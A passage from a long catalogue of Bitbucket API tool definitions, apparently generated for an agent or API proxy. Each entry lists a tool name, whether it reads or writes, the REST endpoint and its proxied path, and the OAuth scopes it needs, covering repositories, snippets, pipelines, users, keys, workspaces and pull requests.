repositories source by workspace, repo slug via GET /repositories/{workspace}/{repo_slug}/src GET /api/v1/bitbucket/repositories/{workspace}/{repo_slug}/src. Scopes: repository. bitbucket_get_repositories_by_workspace_by_repo_slug_src_by_commit_by_path (read) — Get repositories source by workspace, repo slug, commit, path via GET /repositories/{workspace}/{repo_slug}/src/{commit}/{path} GET /api/v1/bitbucket/repositories/{workspace}/{repo_slug}/src/{commit}/{path}. Scopes: repository. bitbucket_get_repositories_by_workspace_by_repo_slug_watchers (read) — Get repositories watchers by workspace, repo slug via GET /repositories/{workspace}/{repo_slug}/watchers GET /api/v1/bitbucket/repositories/{workspace}/{repo_slug}/watchers. Scopes: repository. bitbucket_get_snippets_by_workspace (read) — Get snippets by workspace via GET /snippets/{workspace} GET /api/v1/bitbucket/snippets/{workspace}. Scopes: snippet. bitbucket_get_snippets_by_workspace_by_encoded_id (read) — Get snippets by workspace, encoded id via GET /snippets/{workspace}/{encoded_id} GET /api/v1/bitbucket/snippets/{workspace}/{encoded_id}. Scopes: snippet. bitbucket_get_snippets_by_workspace_by_encoded_id_by_node_id (read) — Get snippets by workspace, encoded id, node id via GET /snippets/{workspace}/{encoded_id}/{node_id} GET /api/v1/bitbucket/snippets/{workspace}/{encoded_id}/{node_id}. Scopes: snippet. bitbucket_get_snippets_by_workspace_by_encoded_id_by_node_id_files_by_path (read) — Get snippets files by workspace, encoded id, node id, path via GET /snippets/{workspace}/{encoded_id}/{node_id}/files/{path} GET /api/v1/bitbucket/snippets/{workspace}/{encoded_id}/{node_id}/files/{path}. Scopes: snippet. bitbucket_get_snippets_by_workspace_by_encoded_id_by_revision_diff (read) — Get snippets diff by workspace, encoded id, revision via GET /snippets/{workspace}/{encoded_id}/{revision}/diff GET /api/v1/bitbucket/snippets/{workspace}/{encoded_id}/{revision}/diff. Scopes: snippet. bitbucket_get_snippets_by_workspace_by_encoded_id_by_revision_patch (read) — Get snippets patch by workspace, encoded id, revision via GET /snippets/{workspace}/{encoded_id}/{revision}/patch GET /api/v1/bitbucket/snippets/{workspace}/{encoded_id}/{revision}/patch. Scopes: snippet. bitbucket_get_snippets_by_workspace_by_encoded_id_comments (read) — Get snippets comments by workspace, encoded id via GET /snippets/{workspace}/{encoded_id}/comments GET /api/v1/bitbucket/snippets/{workspace}/{encoded_id}/comments. Scopes: snippet. bitbucket_get_snippets_by_workspace_by_encoded_id_comments_by_comment_id (read) — Get snippets comments by workspace, encoded id, comment id via GET /snippets/{workspace}/{encoded_id}/comments/{comment_id} GET /api/v1/bitbucket/snippets/{workspace}/{encoded_id}/comments/{comment_id}. Scopes: snippet. bitbucket_get_snippets_by_workspace_by_encoded_id_commits (read) — Get snippets commits by workspace, encoded id via GET /snippets/{workspace}/{encoded_id}/commits GET /api/v1/bitbucket/snippets/{workspace}/{encoded_id}/commits. Scopes: snippet. bitbucket_get_snippets_by_workspace_by_encoded_id_commits_by_revision (read) — Get snippets commits by workspace, encoded id, revision via GET /snippets/{workspace}/{encoded_id}/commits/{revision} GET /api/v1/bitbucket/snippets/{workspace}/{encoded_id}/commits/{revision}. Scopes: snippet. bitbucket_get_snippets_by_workspace_by_encoded_id_files_by_path (read) — Get snippets files by workspace, encoded id, path via GET /snippets/{workspace}/{encoded_id}/files/{path} GET /api/v1/bitbucket/snippets/{workspace}/{encoded_id}/files/{path}. Scopes: snippet. bitbucket_get_snippets_by_workspace_by_encoded_id_watch (read) — Get snippets watch by workspace, encoded id via GET /snippets/{workspace}/{encoded_id}/watch GET /api/v1/bitbucket/snippets/{workspace}/{encoded_id}/watch. Scopes: snippet. bitbucket_get_snippets_by_workspace_by_encoded_id_watchers (read) — Get snippets watchers by workspace, encoded id via GET /snippets/{workspace}/{encoded_id}/watchers GET /api/v1/bitbucket/snippets/{workspace}/{encoded_id}/watchers. Scopes: snippet. bitbucket_get_teams_by_username_pipelines_config_variables (read) — Get Pipeline Variables For Team via GET /teams/{username}/pipelines_config/variables GET /api/v1/bitbucket/teams/{username}/pipelines_config/variables. Scopes: pipeline. bitbucket_get_teams_by_username_pipelines_config_variables_by_variable_uuid (read) — Get Pipeline Variable For Team via GET /teams/{username}/pipelines_config/variables/{variable_uuid} GET /api/v1/bitbucket/teams/{username}/pipelines_config/variables/{variable_uuid}. Scopes: pipeline. bitbucket_get_teams_by_username_search_code (read) — Search Team via GET /teams/{username}/search/code GET /api/v1/bitbucket/teams/{username}/search/code. Scopes: repository. bitbucket_get_user (read) — Get user via GET /user GET /api/v1/bitbucket/user. Scopes: account. bitbucket_get_user_emails (read) — Get user emails via GET /user/emails GET /api/v1/bitbucket/user/emails. Scopes: email. bitbucket_get_user_emails_by_email (read) — Get user emails by email via GET /user/emails/{email} GET /api/v1/bitbucket/user/emails/{email}. Scopes: email. bitbucket_get_user_workspaces (read) — Get user workspaces via GET /user/workspaces GET /api/v1/bitbucket/user/workspaces. Scopes: account. bitbucket_get_user_workspaces_by_workspace_permission (read) — Get user workspaces permission by workspace via GET /user/workspaces/{workspace}/permission GET /api/v1/bitbucket/user/workspaces/{workspace}/permission. Scopes: account. bitbucket_get_user_workspaces_by_workspace_permissions_repositories (read) — Get user workspaces permissions repositories by workspace via GET /user/workspaces/{workspace}/permissions/repositories GET /api/v1/bitbucket/user/workspaces/{workspace}/permissions/repositories. Scopes: account, repository. bitbucket_get_users_by_selected_user (read) — Get users by selected user via GET /users/{selected_user} GET /api/v1/bitbucket/users/{selected_user}. Scopes: none. bitbucket_get_users_by_selected_user_gpg_keys (read) — Get users gpg keys by selected user via GET /users/{selected_user}/gpg-keys GET /api/v1/bitbucket/users/{selected_user}/gpg-keys. Scopes: account. bitbucket_get_users_by_selected_user_gpg_keys_by_fingerprint (read) — Get users gpg keys by selected user, fingerprint via GET /users/{selected_user}/gpg-keys/{fingerprint} GET /api/v1/bitbucket/users/{selected_user}/gpg-keys/{fingerprint}. Scopes: account. bitbucket_get_users_by_selected_user_pipelines_config_variables (read) — Get Pipeline Variables For User via GET /users/{selected_user}/pipelines_config/variables GET /api/v1/bitbucket/users/{selected_user}/pipelines_config/variables. Scopes: pipeline. bitbucket_get_users_by_selected_user_pipelines_config_variables_by_variable_uuid (read) — Get Pipeline Variable For User via GET /users/{selected_user}/pipelines_config/variables/{variable_uuid} GET /api/v1/bitbucket/users/{selected_user}/pipelines_config/variables/{variable_uuid}. Scopes: pipeline. bitbucket_get_users_by_selected_user_properties_by_app_key_by_property_name (read) — Retrieve User Hosted Property Value via GET /users/{selected_user}/properties/{app_key}/{property_name} GET /api/v1/bitbucket/users/{selected_user}/properties/{app_key}/{property_name}. Scopes: none. bitbucket_get_users_by_selected_user_search_code (read) — Search Account via GET /users/{selected_user}/search/code GET /api/v1/bitbucket/users/{selected_user}/search/code. Scopes: repository. bitbucket_get_users_by_selected_user_ssh_keys (read) — Get users ssh keys by selected user via GET /users/{selected_user}/ssh-keys GET /api/v1/bitbucket/users/{selected_user}/ssh-keys. Scopes: account. bitbucket_get_users_by_selected_user_ssh_keys_by_key_id (read) — Get users ssh keys by selected user, key id via GET /users/{selected_user}/ssh-keys/{key_id} GET /api/v1/bitbucket/users/{selected_user}/ssh-keys/{key_id}. Scopes: account. bitbucket_get_workspaces_by_workspace (read) — Get workspaces by workspace via GET /workspaces/{workspace} GET /api/v1/bitbucket/workspaces/{workspace}. Scopes: none. bitbucket_get_workspaces_by_workspace_hooks (read) — Get workspaces hooks by workspace via GET /workspaces/{workspace}/hooks GET /api/v1/bitbucket/workspaces/{workspace}/hooks. Scopes: webhook. bitbucket_get_workspaces_by_workspace_hooks_by_uid (read) — Get workspaces hooks by workspace, uid via GET /workspaces/{workspace}/hooks/{uid} GET /api/v1/bitbucket/workspaces/{workspace}/hooks/{uid}. Scopes: webhook. bitbucket_get_workspaces_by_workspace_members (read) — Get workspaces members by workspace via GET /workspaces/{workspace}/members GET /api/v1/bitbucket/workspaces/{workspace}/members. Scopes: account. bitbucket_get_workspaces_by_workspace_members_by_member (read) — Get workspaces members by workspace, member via GET /workspaces/{workspace}/members/{member} GET /api/v1/bitbucket/workspaces/{workspace}/members/{member}. Scopes: account. bitbucket_get_workspaces_by_workspace_permissions (read) — Get workspaces permissions by workspace via GET /workspaces/{workspace}/permissions GET /api/v1/bitbucket/workspaces/{workspace}/permissions. Scopes: account. bitbucket_get_workspaces_by_workspace_permissions_repositories (read) — Get workspaces permissions repositories by workspace via GET /workspaces/{workspace}/permissions/repositories GET /api/v1/bitbucket/workspaces/{workspace}/permissions/repositories. Scopes: account. bitbucket_get_workspaces_by_workspace_permissions_repositories_by_repo_slug (read) — Get workspaces permissions repositories by workspace, repo slug via GET /workspaces/{workspace}/permissions/repositories/{repo_slug} GET /api/v1/bitbucket/workspaces/{workspace}/permissions/repositories/{repo_slug}. Scopes: repository. bitbucket_get_workspaces_by_workspace_pipelines_config_identity_oidc_keys_json (read) — Get OIDC Keys via GET /workspaces/{workspace}/pipelines-config/identity/oidc/keys.json GET /api/v1/bitbucket/workspaces/{workspace}/pipelines-config/identity/oidc/keys.json. Scopes: none. bitbucket_get_workspaces_by_workspace_pipelines_config_identity_oidc_well_known_openid_configuration (read) — Get OIDC Configuration via GET /workspaces/{workspace}/pipelines-config/identity/oidc/.well-known/openid-configuration GET /api/v1/bitbucket/workspaces/{workspace}/pipelines-config/identity/oidc/.well-known/openid-configuration. Scopes: none. bitbucket_get_workspaces_by_workspace_pipelines_config_runners (read) — Get Workspace Runners via GET /workspaces/{workspace}/pipelines-config/runners GET /api/v1/bitbucket/workspaces/{workspace}/pipelines-config/runners. Scopes: runner. bitbucket_get_workspaces_by_workspace_pipelines_config_runners_by_runner_uuid (read) — Get Workspace Runner via GET /workspaces/{workspace}/pipelines-config/runners/{runner_uuid} GET /api/v1/bitbucket/workspaces/{workspace}/pipelines-config/runners/{runner_uuid}. Scopes: runner. bitbucket_get_workspaces_by_workspace_pipelines_config_variables (read) — Get Pipeline Variables For Workspace via GET /workspaces/{workspace}/pipelines-config/variables GET /api/v1/bitbucket/workspaces/{workspace}/pipelines-config/variables. Scopes: pipeline. bitbucket_get_workspaces_by_workspace_pipelines_config_variables_by_variable_uuid (read) — Get Pipeline Variable For Workspace via GET /workspaces/{workspace}/pipelines-config/variables/{variable_uuid} GET /api/v1/bitbucket/workspaces/{workspace}/pipelines-config/variables/{variable_uuid}. Scopes: pipeline. bitbucket_get_workspaces_by_workspace_projects (read) — Get workspaces projects by workspace via GET /workspaces/{workspace}/projects GET /api/v1/bitbucket/workspaces/{workspace}/projects. Scopes: project. bitbucket_get_workspaces_by_workspace_projects_by_project_key (read) — Get workspaces projects by workspace, project key via GET /workspaces/{workspace}/projects/{project_key} GET /api/v1/bitbucket/workspaces/{workspace}/projects/{project_key}. Scopes: project. bitbucket_get_workspaces_by_workspace_projects_by_project_key_branching_model (read) — Get workspaces projects branching model by workspace, project key via GET /workspaces/{workspace}/projects/{project_key}/branching-model GET /api/v1/bitbucket/workspaces/{workspace}/projects/{project_key}/branching-model. Scopes: project:admin. bitbucket_get_workspaces_by_workspace_projects_by_project_key_branching_model_settings (read) — Get workspaces projects branching model settings by workspace, project key via GET /workspaces/{workspace}/projects/{project_key}/branching-model/settings GET /api/v1/bitbucket/workspaces/{workspace}/projects/{project_key}/branching-model/settings. Scopes: project:admin. bitbucket_get_workspaces_by_workspace_projects_by_project_key_default_reviewers (read) — Get workspaces projects default reviewers by workspace, project key via GET /workspaces/{workspace}/projects/{project_key}/default-reviewers GET /api/v1/bitbucket/workspaces/{workspace}/projects/{project_key}/default-reviewers. Scopes: project:admin. bitbucket_get_workspaces_by_workspace_projects_by_project_key_default_reviewers_by_selected_user (read) — Get workspaces projects default reviewers by workspace, project key, selected user via GET /workspaces/{workspace}/projects/{project_key}/default-reviewers/{selected_user} GET /api/v1/bitbucket/workspaces/{workspace}/projects/{project_key}/default-reviewers/{selected_user}. Scopes: project:admin. bitbucket_get_workspaces_by_workspace_projects_by_project_key_deploy_keys (read) — Get workspaces projects deploy keys by workspace, project key via GET /workspaces/{workspace}/projects/{project_key}/deploy-keys GET /api/v1/bitbucket/workspaces/{workspace}/projects/{project_key}/deploy-keys. Scopes: project, project:admin. bitbucket_get_workspaces_by_workspace_projects_by_project_key_deploy_keys_by_key_id (read) — Get workspaces projects deploy keys by workspace, project key, key id via GET /workspaces/{workspace}/projects/{project_key}/deploy-keys/{key_id} GET /api/v1/bitbucket/workspaces/{workspace}/projects/{project_key}/deploy-keys/{key_id}. Scopes: project, project:admin. bitbucket_get_workspaces_by_workspace_projects_by_project_key_permissions_config_groups (read) — Get workspaces projects permissions config groups by workspace, project key via GET /workspaces/{workspace}/projects/{project_key}/permissions-config/groups GET /api/v1/bitbucket/workspaces/{workspace}/projects/{project_key}/permissions-config/groups. Scopes: project:admin. bitbucket_get_workspaces_by_workspace_projects_by_project_key_permissions_config_groups_by_group_slug (read) — Get workspaces projects permissions config groups by workspace, project key, group slug via GET /workspaces/{workspace}/projects/{project_key}/permissions-config/groups/{group_slug} GET /api/v1/bitbucket/workspaces/{workspace}/projects/{project_key}/permissions-config/groups/{group_slug}. Scopes: project:admin. bitbucket_get_workspaces_by_workspace_projects_by_project_key_permissions_config_users (read) — Get workspaces projects permissions config users by workspace, project key via GET /workspaces/{workspace}/projects/{project_key}/permissions-config/users GET /api/v1/bitbucket/workspaces/{workspace}/projects/{project_key}/permissions-config/users. Scopes: project:admin. bitbucket_get_workspaces_by_workspace_projects_by_project_key_permissions_config_users_by_selected_user_id (read) — Get workspaces projects permissions config users by workspace, project key, selected user id via GET /workspaces/{workspace}/projects/{project_key}/permissions-config/users/{selected_user_id} GET /api/v1/bitbucket/workspaces/{workspace}/projects/{project_key}/permissions-config/users/{selected_user_id}. Scopes: project:admin. bitbucket_get_workspaces_by_workspace_pullrequests_by_selected_user (read) — Get workspaces pull requests by workspace, selected user via GET /workspaces/{workspace}/pullrequests/{selected_user} GET /api/v1/bitbucket/workspaces/{workspace}/pullrequests/{selected_user}. Scopes: pullrequest. bitbucket_get_workspaces_by_workspace_search_code (read) — Search Workspace via GET /workspaces/{workspace}/search/code GET /api/v1/bitbucket/workspaces/{workspace}/search/code. Scopes: repository. bitbucket_get_workspaces_by_workspace_settings_gpg_public_key (read) — Get workspaces settings gpg public key by workspace via GET /workspaces/{workspace}/settings/gpg/public-key GET /api/v1/bitbucket/workspaces/{workspace}/settings/gpg/public-key. Scopes: account. bitbucket_post_repositories_by_workspace_by_repo_slug (write) — Post repositories by workspace, repo slug via POST /repositories/{workspace}/{repo_slug} POST /api/v1/bitbucket/repositories/{workspace}/{repo_slug}. Scopes: repository:admin. bitbucket_post_repositories_by_workspace_by_repo_slug_branch_restrictions (write) — Post repositories branch restrictions by workspace, repo slug via POST /repositories/{workspace}/{repo_slug}/branch-restrictions POST /api/v1/bitbucket/repositories/{workspace}/{repo_slug}/branch-restrictions. Scopes: repository:admin. bitbucket_post_repositories_by_workspace_by_repo_slug_commit_by_commit_approve (write) — Post repositories commit approve by workspace, repo slug, commit via POST /repositories/{workspace}/{repo_slug}/commit/{commit}/approve POST /api/v1/bitbucket/repositories/{workspace}/{repo_slug}/commit/{commit}/approve. Scopes: repository:write. bitbucket_post_repositories_by_workspace_by_repo_slug_commit_by_commit_comments (write) — Post repositories commit comments by workspace, repo slug, commit via POST /repositories/{workspace}/{repo_slug}/commit/{commit}/comments POST /api/v1/bitbucket/repositories/{workspace}/{repo_slug}/commit/{commit}/comments. Scopes: repository. bitbucket_post_repositories_by_workspace_by_repo_slug_commit_by_commit_reports_by_reportid_annotations (write) — Bulk Create Or Update Annotations via POST /repositories/{workspace}/{repo_slug}/commit/{commit}/reports/{reportId}/annotations POST /api/v1/bitbucket/repositories/{workspace}/{repo_slug}/commit/{commit}/reports/{reportId}/annotations. Scopes: repository. bitbucket_post_repositories_by_workspace_by_repo_slug_commit_by_commit_statuses_build (write) — Post repositories commit statuses build by workspace, repo slug, commit via POST /repositories/{workspace}/{repo_slug}/commit/{commit}/statuses/build POST /api/v1/bitbucket/repositories/{workspace}/{repo_slug}/commit/{commit}/statuses/build. Scopes: repository. bitbucket_post_repositories_by_workspace_by_repo_slug_commits (write) — Post repositories commits by workspace, repo slug via POST /repositories/{workspace}/{repo_slug}/commits POST /api/v1/bitbucket/repositories/{workspace}/{repo_slug}/commits. Scopes: repository. bitbucket_post_repositories_by_workspace_by_repo_slug_commits_by_revision (write) — Post repositories commits by workspace, repo slug, revision via POST /repositories/{workspace}/{repo_slug}/commits/{revision} POST /api/v1/bitbucket/repositories/{workspace}/{repo_slug}/commits/{revision}. Scopes: repository. bitbucket_post_repositories_by_workspace_by_repo_slug_deploy_keys (write) — Post repositories deploy keys by workspace, repo slug via POST /repositories/{workspace}/{repo_slug}/deploy-keys POST /api/v1/bitbucket/repositories/{workspace}/{repo_slug}/deploy-keys. Scopes: repository, repository:admin. bitbucket_post_repositories_by_workspace_by_repo_slug_deployments_config_environments_by_environment_uuid_variables (write) — Create Deployment Variable via POST /repositories/{workspace}/{repo_slug}/deployments_config/environments/{environment_uuid}/variables POST /api/v1/bitbucket/repositories/{workspace}/{repo_slug}/deployments_config/environments/{environment_uuid}/variables. Scopes: pipeline:variable. bitbucket_post_repositories_by_workspace_by_repo_slug_downloads (write) — Post repositories downloads by workspace, repo slug via POST /repositories/{workspace}/{repo_slug}/downloads POST /api/v1/bitbucket/repositories/{workspace}/{repo_slug}/downloads. Scopes: repository:write. bitbucket_post_repositories_by_workspace_by_repo_slug_environments (write) — Create Environment via POST /repositories/{workspace}/{repo_slug}/environments POST /api/v1/bitbucket/repositories/{workspace}/{repo_slug}/environments. Scopes: pipeline. bitbucket_post_repositories_by_workspace_by_repo_slug_environments_by_environment_uuid_changes (write) — Update Environment For Repository via POST /repositories/{workspace}/{repo_slug}/environments/{environment_uuid}/changes POST /api/v1/bitbucket/repositories/{workspace}/{repo_slug}/environments/{environment_uuid}/changes. Scopes: pipeline. bitbucket_post_repositories_by_workspace_by_repo_slug_forks (write) — Post repositories forks by workspace, repo slug via POST /repositories/{workspace}/{repo_slug}/forks POST /api/v1/bitbucket/repositories/{workspace}/{repo_slug}/forks. Scopes: repository:write. bitbucket_post_repositories_by_workspace_by_repo_slug_hooks (write) — Post repositories hooks by workspace, repo slug via POST /repositories/{workspace}/{repo_slug}/hooks POST /api/v1/bitbucket/repositories/{workspace}/{repo_slug}/hooks. Scopes: webhook. bitbucket_post_repositories_by_workspace_by_repo_slug_pipelines (write) — Create Pipeline For Repository via POST /repositories/{workspace}/{repo_slug}/pipelines POST /api/v1/bitbucket/repositories/{workspace}/{repo_slug}/pipelines. Scopes: pipeline. bitbucket_post_repositories_by_workspace_by_repo_slug_pipelines_by_pipeline_uuid_stoppipeline (write) — Stop Pipeline via POST /repositories/{workspace}/{repo_slug}/pipelines/{pipeline_uuid}/stopPipeline POST /api/v1/bitbucket/repositories/{workspace}/{repo_slug}/pipelines/{pipeline_uuid}/stopPipeline. Scopes: pipeline:write. bitbucket_post_repositories_by_workspace_by_repo_slug_pipelines_config_runners (write) — Create Repository Runner via POST /repositories/{workspace}/{repo_slug}/pipelines-config/runners POST /api/v1/bitbucket/repositories/{workspace}/{repo_slug}/pipelines-config/runners. Scopes: runner:write. bitbucket_post_repositories_by_workspace_by_repo_slug_pipelines_config_schedules (write) — Create Repository Pipeline Schedule via POST /repositories/{workspace}/{repo_slug}/pipelines_config/schedules POST /api/v1/bitbucket/repositories/{workspace}/{repo_slug}/pipelines_config/schedules. Scopes: pipeline:write. bitbucket_post_repositories_by_workspace_by_repo_slug_pipelines_config_ssh_known_hosts (write) — Create Repository Pipeline Known Host via POST /repositories/{workspace}/{repo_slug}/pipelines_config/ssh/known_hosts POST /api/v1/bitbucket/repositories/{workspace}/{repo_slug}/pipelines_config/ssh/known_hosts. Scopes: pipeline:variable. bitbucket_post_repositories_by_workspace_by_repo_slug_pipelines_config_variables (write) — Create Repository Pipeline Variable via POST /repositories/{workspace}/{repo_slug}/pipelines_config/variables POST /api/v1/bitbucket/repositories/{workspace}/{repo_slug}/pipelines_config/variables. Scopes: pipeline:variable. bitbucket_post_repositories_by_workspace_by_repo_slug_pullrequests (write) — Post repositories pull requests by workspace, repo slug via POST /repositories/{workspace}/{repo_slug}/pullrequests POST /api/v1/bitbucket/repositories/{workspace}/{repo_slug}/pullrequests. Scopes: pullrequest:write. bitbucket_post_repositories_by_workspace_by_repo_slug_pullrequests_by_pull_request_id_approve (write) — Post repositories pull requests approve by workspace, repo slug, pull request id via POST /repositories/{workspace}/{repo_slug}/pullrequests/{pull_request_id}/approve POST /api/v1/bitbucket/repositories/{workspace}/{repo_slug}/pullrequests/{pull_request_id}/approve. Scopes: pullrequest:write. bitbucket_post_repositories_by_workspace_by_repo_slug_pullrequests_by_pull_request_id_comments (write) — Post repositories pull requests comments by workspace, repo slug, pull request id via POST /repositories/{workspace}/{repo_slug}/pullrequests/{pull_request_id}/comments POST /api/v1/bitbucket/repositories/{workspace}/{repo_slug}/pullrequests/{pull_request_id}/comments. Scopes: pullrequest. bitbucket_post_repositories_by_workspace_by_repo_slug_pullrequests_by_pull_request_id_comments_by_comment_id_resolve (write) — Post repositories pull requests comments resolve by workspace, repo slug, pull request id, comment id via POST /repositories/{workspace}/{repo_slug}/pullrequests/{pull_request_id}/comments/{comment_id}/resolve POST /api/v1/bitbucket/repositories/{workspace}/{repo_slug}/pullrequests/{pull_request_id}/comments/{comment_id}/resolve. Scopes: pullrequest. bitbucket_post_repositories_by_workspace_by_repo_slug_pullrequests_by_pull_request_id_decline (write) — Post repositories pull requests decline by workspace, repo slug, pull request id via POST /repositories/{workspace}/{repo_slug}/pullrequests/{pull_request_id}/decline POST /api/v1/bitbucket/repositories/{workspace}/{repo_slug}/pullrequests/{pull_request_id}/decline. Scopes: pullrequest:write. bitbucket_post_repositories_by_workspace_by_repo_slug_pullrequests_by_pull_request_id_merge (write) — Post repositories pull requests merge by workspace, repo slug, pull request id via POST /repositories/{workspace}/{repo_slug}/pullrequests/{pull_request_id}/merge POST /api/v1/bitbucket/repositories/{workspace}/{repo_slug}/pullrequests/{pull_request_id}/merge. Scopes: pullrequest:write. bitbucket_post_repositories_by_workspace_by_repo_slug_pullrequests_by_pull_request_id_request_changes (write) — Post repositories pull requests request changes by workspace, repo slug, pull request id via POST /repositories/{workspace}/{repo_slug}/pullrequests/{pull_request_id}/request-changes POST /api/v1/bitbucket/repositories/{workspace}/{repo_slug}/pullrequests/{pull_request_id}/request-changes. Scopes: pullrequest:write. bitbucket_post_repositories_by_workspace_by_repo_slug_pullrequests_by_pull_request_id_tasks (write) — Post repositories pull requests tasks by workspace, repo slug, pull request id via POST /repositories/{workspace}/{repo_slug}/pullrequests/{pull_request_id}/tasks POST /api/v1/bitbucket/repositories/{workspace}/{repo_slug}/pullrequests/{pull_request_id}/tasks. Scopes: pullrequest. bitbucket_post_repositories_by_workspace_by_repo_slug_refs_branches (write) — Post repositories refs branches by workspace, repo slug via POST /repositories/{workspace}/{repo_slug}/refs/branches POST /api/v1/bitbucket/repositories/{workspace}/{repo_slug}/refs/branches. Scopes: repository:write. bitbucket_post_repositories_by_workspace_by_repo_slug_refs_tags (write) — Post repositories refs tags by workspace, repo slug via POST /repositories/{workspace}/{repo_slug}/refs/tags POST /api/v1/bitbucket/repositories/{workspace}/{repo_slug}/refs/tags. Scopes: repository:write. bitbucket_post_repositories_by_workspace_by_repo_slug_src (write) — Post repositories source by workspace, repo slug via POST /repositories/{workspace}/{repo_slug}/src POST /api/v1/bitbucket/repositories/{workspace}/{repo_slug}/src. Scopes: repository:write. bitbucket_post_snippets (write) — Post snippets via POST /snippets POST /api/v1/bitbucket/snippets. Scopes: snippet:write. bitbucket_post_snippets_by_workspace (write) — Post snippets by workspace via POST /snippets/{workspace} POST /api/v1/bitbucket/snippets/{workspace}. Scopes: snippet:write. bitbucket_post_snippets_by_workspace_by_encoded_id_comments (write) — Post snippets comments by workspace, encoded id via POST /snippets/{workspace}/{encoded_id}/comments POST /api/v1/bitbucket/snippets/{workspace}/{encoded_id}/comments. Scopes: snippet. bitbucket_post_teams_by_username_pipelines_config_variables (write) — Create Pipeline Variable For Team via POST /teams/{username}/pipelines_config/variables POST /api/v1/bitbucket/teams/{username}/pipelines_config/variables. Scopes: pipeline:variable. bitbucket_post_users_by_selected_user_gpg_keys (write) — Post users gpg keys by selected user via POST /users/{selected_user}/gpg-keys POST /api/v1/bitbucket/users/{selected_user}/gpg-keys. Scopes: account:write. bitbucket_post_users_by_selected_user_pipelines_config_variables (write) — Create Pipeline Variable For User via POST /users/{selected_user}/pipelines_config/variables POST /api/v1/bitbucket/users/{selected_user}/pipelines_config/variables. Scopes: pipeline:variable. bitbucket_post_users_by_selected_user_ssh_keys (write) — Post users ssh keys by selected user via POST /users/{selected_user}/ssh-keys POST /api/v1/bitbucket/users/{selected_user}/ssh-keys. Scopes: account:write. bitbucket_post_workspaces_by_workspace_hooks (write) — Post workspaces hooks by workspace via POST /workspaces/{workspace}/hooks POST /api/v1/bitbucket/workspaces/{workspace}/hooks. Scopes: webhook. bitbucket_post_workspaces_by_workspace_pipelines_config_runners (write) — Create Workspace Runner via POST /workspaces/{workspace}/pipelines-config/runners POST /api/v1/bitbucket/workspaces/{workspace}/pipelines-config/runners. Scopes: runner:write. bitbucket_post_workspaces_by_workspace_pipelines_config_variables (write) — Create Pipeline Variable For Workspace via POST /workspaces/{workspace}/pipelines-config/variables POST /api/v1/bitbucket/workspaces/{workspace}/pipelines-config/variables. Scopes: pipeline:variable. bitbucket_post_workspaces_by_workspace_projects (write) — Post workspaces projects by workspace via POST /workspaces/{workspace}/projects POST /api/v1/bitbucket/workspaces/{workspace}/projects. Scopes: project:admin. bitbucket_post_workspaces_by_workspace_projects_by_project_key_deploy_keys (write) — Post workspaces projects deploy keys by workspace, project key via POST /workspaces/{workspace}/projects/{project_key}/deploy-keys POST /api/v1/bitbucket/workspaces/{workspace}/projects/{project_key}/deploy-keys. Scopes: project, project:admin. bitbucket_put_addon (write) — Put add-on via PUT /addon PUT /api/v1/bitbucket/addon. Scopes: none. bitbucket_put_repositories_by_workspace_by_repo_slug (write) — Put repositories by workspace, repo slug via PUT /repositories/{workspace}/{repo_slug} PUT /api/v1/bitbucket/repositories/{workspace}/{repo_slug}. Scopes: repository:admin. bitbucket_put_repositories_by_workspace_by_repo_slug_branch_restrictions_by_id (write) — Put repositories branch restrictions by workspace, repo slug, id via PUT /repositories/{workspace}/{repo_slug}/branch-restrictions/{id} PUT /api/v1/bitbucket/repositories/{workspace}/{repo_slug}/branch-restrictions/{id}. Scopes: repository:admin. bitbucket_put_repositories_by_workspace_by_repo_slug_branching_model_settings (write) — Put repositories branching model settings by workspace, repo slug via PUT /repositories/{workspace}/{repo_slug}/branching-model/settings PUT /api/v1/bitbucket/repositories/{workspace}/{repo_slug}/branching-model/settings. Scopes: repository:admin. bitbucket_put_repositories_by_workspace_by_repo_slug_commit_by_commit_comments_by_comment_id (write) — Put repositories commit comments by workspace, repo slug, commit, comment id via PUT /repositories/{workspace}/{repo_slug}/commit/{commit}/comments/{comment_id} PUT /api/v1/bitbucket/repositories/{workspace}/{repo_slug}/commit/{commit}/comments/{comment_id}. Scopes: repository. bitbucket_put_repositories_by_workspace_by_repo_slug_commit_by_commit_properties_by_app_key_by_property_name (write) — Update Commit Hosted Property Value via PUT /repositories/{workspace}/{repo_slug}/commit/{commit}/properties/{app_key}/{property_name} PUT /api/v1/bitbucket/repositories/{workspace}/{repo_slug}/commit/{commit}/properties/{app_key}/{property_name}. Scopes: none. bitbucket_put_repositories_by_workspace_by_repo_slug_commit_by_commit_reports_by_reportid (write) — Create Or Update Report via PUT /repositories/{workspace}/{repo_slug}/commit/{commit}/reports/{reportId} PUT /api/v1/bitbucket/repositories/{workspace}/{repo_slug}/commit/{commit}/reports/{reportId}. Scopes: repository. bitbucket_put_repositories_by_workspace_by_repo_slug_commit_by_commit_reports_by_reportid_annotations_by_annotationid (write) — Create Or Update Annotation via PUT /repositories/{workspace}/{repo_slug}/commit/{commit}/reports/{reportId}/annotations/{annotationId} PUT /api/v1/bitbucket/repositories/{workspace}/{repo_slug}/commit/{commit}/reports/{reportId}/annotations/{annotationId}. Scopes: repository. bitbucket_put_repositories_by_workspace_by_repo_slug_commit_by_commit_statuses_build_by_key (write) — Put repositories commit statuses build by workspace, repo slug, commit, key via PUT /repositories/{workspace}/{repo_slug}/commit/{commit}/statuses/build/{key} PUT /api/v1/bitbucket/repositories/{workspace}/{repo_slug}/commit/{commit}/statuses/build/{key}. Scopes: repository. bitbucket_put_repositories_by_workspace_by_repo_slug_default_reviewers_by_target_username (write) — Put repositories default reviewers by workspace, repo slug, target username via PUT /repositories/{workspace}/{repo_slug}/default-reviewers/{target_username} PUT /api/v1/bitbucket/repositories/{workspace}/{repo_slug}/default-reviewers/{target_username}. Scopes: repository:admin. bitbucket_put_repositories_by_workspace_by_repo_slug_deploy_keys_by_key_id (write) — Put repositories deploy keys by workspace, repo slug, key id via PUT /repositories/{workspace}/{repo_slug}/deploy-keys/{key_id} PUT /api/v1/bitbucket/repositories/{workspace}/{repo_slug}/deploy-keys/{key_id}. Scopes: repository, repository:admin. bitbucket_put_repositories_by_workspace_by_repo_slug_deployments_config_environments_by_environment_uuid_variables_by_variable_uuid (write) — Update Deployment Variable via PUT /repositories/{workspace}/{repo_slug}/deployments_config/environments/{environment_uuid}/variables/{variable_uuid} PUT /api/v1/bitbucket/repositories/{workspace}/{repo_slug}/deployments_config/environments/{environment_uuid}/variables/{variable_uuid}. Scopes: pipeline:variable. bitbucket_put_repositories_by_workspace_by_repo_slug_hooks_by_uid (write) — Put repositories hooks by workspace, repo slug, uid via PUT 